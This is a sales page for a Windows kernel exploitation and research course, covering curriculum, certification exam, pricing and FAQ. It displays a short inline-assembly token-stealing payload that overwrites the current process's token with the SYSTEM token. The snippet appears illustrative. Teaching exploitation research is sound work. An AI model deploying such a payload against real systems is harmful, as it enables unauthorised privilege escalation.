Windows kernel
exploitation
& Research

Understand Windows internals. Exploit vulnerable drivers. Build privilege escalation chains.

What you’ll
learn

Full curriculum
  1. 01Build your own lab
  2. 02Windows kernel internals
  3. 03Reverse engineering
  4. 04Kernel driver exploitation
  5. 05Modern kernel defenses
  6. 06Privilege escalation

Familiarity with C and x64 assembly is recommended.

The CWRE
Certification

Certified Windows Research & Exploitation

Demonstrate your research and exploitation skills in a hands-on practical exam.

  • 48-hour practical exam
  • One exam voucher included
See what's included
exploit.c - token_steal
// Token Stealing Primitive - Windows 11 24H2 Lab
#include <ntddk.h>
 
void TokenStealingPayload() {
__asm {
push rax
mov  rax, gs:[188h]   ; _KTHREAD
mov  rax, [rax+0xB8]  ; _EPROCESS
mov  rcx, rax ; Save current
 
__find_system:
mov  rax, [rax+0x1d8] ; ActiveProcessLinks
sub  rax, 0x1d8
cmp  [rax+0x1d0], 4  ; PID == 4 (SYSTEM)
jne  __find_system
 
mov  rdx, [rax+0x4B8] ; SYSTEM Token
mov  [rcx+0x4B8], rdx ; Overwrite ours
pop  rax
}
}

Individual and team training

Individual

Early access

For practitioners investing in their own skills.

$500USD$1,499

One payment. Lifetime access and curriculum updates.

Enroll now
  • All training modules and learning areas
  • Practical labs with provided drivers
  • Written guides and annotated source code
  • Private research community
  • One CWRE exam voucher

Early access pricing. Price will increase after launch.

For teams

For organizations training multiple practitioners.

Train together.

Tell us about your team to discuss access and pricing.

Discuss team access
  • The WinkerAcademy technical curriculum
  • Discuss access for multiple participants
  • Confirm exam vouchers and terms in your quote
  • A direct contact for your training inquiry

Email support@winkeracademy.com

FAQ

Questions about the training and the exam.

What are the prerequisites?

Familiarity with C, x64 assembly, and operating system fundamentals is recommended. This is not a beginner course.

What OS and hardware do I need?

A host machine running Windows 10/11 or Linux with a Type-2 hypervisor (VMware Workstation or Hyper-V). Minimum 16GB RAM recommended, 32GB ideal. You'll run nested VMs for kernel debugging. You set up your own lab environment; we provide the drivers used in the practical exercises.

How long does it take to complete?

At a steady pace (10–15 hours/week), expect 3–4 months to complete all modules and labs. You have lifetime access, so you can go at your own speed. The exam can be taken anytime after course completion.

How does the exam work?

The CWRE exam is a 48-hour, hands-on assessment. No multiple choice. You receive a hardened target and must demonstrate real exploitation research skills

What kind of support is available?

You get access to a private Discord server with other students and instructors. Support is best-effort, typically within 24 hours. Early Access students also get direct access to the course author for technical questions.

Is this only for offensive security people?

No. Security developers, driver developers, and anyone who needs to understand Windows kernel internals will benefit. The research methodology applies whether you're building defenses or analyzing attack techniques.